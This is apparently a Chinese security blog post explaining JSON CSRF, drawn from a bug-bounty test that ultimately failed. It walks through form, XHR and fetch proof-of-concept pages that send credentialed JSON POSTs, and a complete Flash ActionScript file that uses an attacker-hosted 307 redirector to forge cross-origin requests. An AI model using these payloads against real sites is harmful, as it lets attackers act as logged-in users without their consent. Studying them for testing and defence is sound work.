本文作者:comical(信安之路首次投稿作者)
在某某 src 进行渗透测试的过程中,发现一个评论的地方并没有对次数进行限制且在数据区域也没有 token 的字眼,因此猜测此处存在 csrf 漏洞,于是就开始了漫长的学习之旅
前置知识
CSRF:关于 csrf 漏洞相信大家都有了解,而且百度 google 大部分都比我讲的好,这里我就不解释了,贴张图把
Json CSRF: 通常我们的 csrf 都是在 get 请求或者 post 数据包中构造类似于 param=value 的字眼提交给服务器,服务器得到数据,处理请求,而 json csrf 传上去的值是一串 json 数据,相比于普通的 csrf,json 的数据往往更难构造
某某 src
在测试时发现评论的数据包如下图:
刚开始,看到下面 POST 的数据里面并没有 token 的字眼,而且在 repeater 中重放也可以评论多条,于是认为可能存在 csrf 漏洞,准备构造 payload 的时候才看到这里在头部进行了检测,因此此处是不存在 csrf 漏洞的
陷入思考
如果我们假设这个头部不存在 token 的情况下,我们要怎么完成一次 csrf 攻击呢?(以下的头部都默认手动加上 token 方便调试和研究)
level1:
最简单的,通过 form 表单发送一个请求,burpsuite 有直接写好的插件,保存到本地,点开即可
我们抓包分析一下
和之前的包进行对比,可以看到两处的 Accept、Content-Type 不同,同时数据处多出来一个等号,其中其主要作用的是 Content-Type 我们修改过来尝试下
很明显 这里有几个问题
1、简单的 form 表单无法伪造 Content-Type 头部
2、post 数据包多出一个等号
一些服务器若是不检测 Content-Type 头部且不需要正确格式的 json 则可用这种方法
level2:
我们可以在 form 表单里面,给 value 赋值,若是漏洞页面可以识别多余的 key value 那么这种方法是可行的
实测这个页面不行会爆 500 错误
这里我们虽然缓解了第二个问题 但是第一个问题还是存在
level3:
能够自定义头部的有两种办法
1、利用 XHR 进行提交
关于 XHR 可以去这边了解下 XMLHttpRequest:
代码语言:javascript复制<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://xxx.xxx.com.cn/xxx/v3/subReply", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true; //携带cookie
xhr.send(JSON.stringify({"postId":"10000003","content":"test1"}));
}
</script>
</body>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();"/>
</form>
</html>
抓包分析会先给服务器发送一个发送预检请求(OPTIONS 请求)给服务端征求支持的请求方法,然后根据服务端响应允许才发送真正的请求。
可以看到头部设置成了我们想要的结果,加上 token 后评论成功,来到前端查看也有了这条评论
2、利用 fetch 请求提交
fetch 请求和 xhr 一样也会发出一个 OPTIONS 请求
代码语言:javascript复制<html>
<script>
fetch('https://xxx.xxx.com.cn/xxx/v3/subReply', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json; charset=utf-8'}, body: '{"postId":"10000003","content":"test2"}'});
</script>
</html>
可以看到这个方法也得到了我们想要的结果
但是这两种方法都有一个毛病:无法跨域
没办法跨域怎么实现 csrf 啊?总不能发给 html 文件给受害者让受害者打开吧
level4:
flash 的跨域 307 跳转
那么这种方法的原理到底是什么呢?
首先我们需要了解 flash:Adobe Flash 可用于使用 ActionScript 制作 Web 请求,而 ActionScript 还可以用于为 Web 请求设置自定义的 HTTP 头。
一般来说 Flash 不会向没有 crossdomain.xml 文件的服务器发出请求,对方服务器是不可控的,因此为了完全避免跨域文件,我们在自己服务器上先准备一个 flash 文件和一个重定向文件。
我们使用 Flash 和我们的 POST 有效载荷向重定向文件发出请求。然后该文件充当重定向器,将请求转到我们想要攻击的服务器上。
HTTP 状态码 307:HTTP 307 可以确保在重定向请求发生时请求方法和请求主体不会发生改变。
也就是说我们通过重定向文件转发的请求是完完全全不变的转发过去的包括 Body 和 HTTP 头
所以我们目前需要一个 .swf 的 flash 文件和一个重定向文件
- 要创建发出 Web 请求的 csrf.swf 的 Flash 文件,具体步骤如下
- 从 Adobe 官网安装 Flex SDK 用于将 ActionScript 编译为 swf 文件。Flex 需要安装 32 位 JVM,可以从 Oracle 官网下载安装 32 位的 JDK。
- 创建一个名为 csrf.as 的文本文件,其中包含下面给出的 ActionScript 代码。
- 将
<attacker-ip>
占位符替换为生成 Flash 文件所在的系统的IP地址/域名(攻击者服务器)。 - 要将此文件编译为 csrf.swf,只需运行 mxmlc csrf.as 命令。这将创建一个名为 csrf.swf 的文件。
package
{
import flash.display.Sprite;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestHeader;
import flash.net.URLRequestMethod;public class csrf extends Sprite
{
public function csrf()
{
super();
var member1:Object = null;
var myJson:String = null;
member1 = new Object();
member1 = {"postId":"10000003","content":"test3"}
var myData:Object = member1;
myJson = JSON.stringify(myData);
myJson = JSON.stringify(myData);
var url:String = "http://attacker-ip/test.php";
var request:URLRequest = new URLRequest(url);
request.requestHeaders.push(new URLRequestHeader("Content- Type","application/json"));
request.data = myJson;
request.method = URLRequestMethod.POST;
var urlLoader:URLLoader = new URLLoader();try
{
urlLoader.load(request);
return;
}
catch(e:Error)
{
trace(e);
return;
}
}
}
}
具体攻击流程如下:
- 用户在浏览器中登录到
http://victim-site/
- 受害者被诱骗导航到
http://attacker-ip/csrf.swf
- 加载 flash 文件,用有效载荷和自定义 HTTP 头向
http://attacker-ip/test.php
发起 POST 请求 - 攻击者服务器发出 HTTP 307 重定向响应。这会导致 POST 响应 body 和自定义 HTTP 头按原样发送到
http://victim-site/
- 用户刷新他的
http://victim-site/
页面,发现他评论了别人
由于这个 src 有设置 token 所以不能利用成功
附一个别人已经造好的轮子
http://cm2.pw/crossdomain
小结
flash 跨域可以设置 Content-Type 的话,那他可以设置其他的头吗?如果可以设置 Referer 的话,很多 CSRF 漏洞岂不是可以绕过?事实证明还是我想得太天真,Flash 的 Header 存在一个黑名单,Referer 就在其中,都不允许设置但是他可以置 referer 的值为空,也可以绕过一些未校验无 Referer 字段等情况的缺陷。
其实对于这类 json 格式的 csrf 还是挺多的,因为企业大多喜欢用 json 来管理数据,研究一下也是有必要的~
防御
既然 json csrf 属于 csrf 那防御的方法肯定就和 csrf 的防御方法类似了,百度,google 上都有总结,我这里就不班门弄斧了。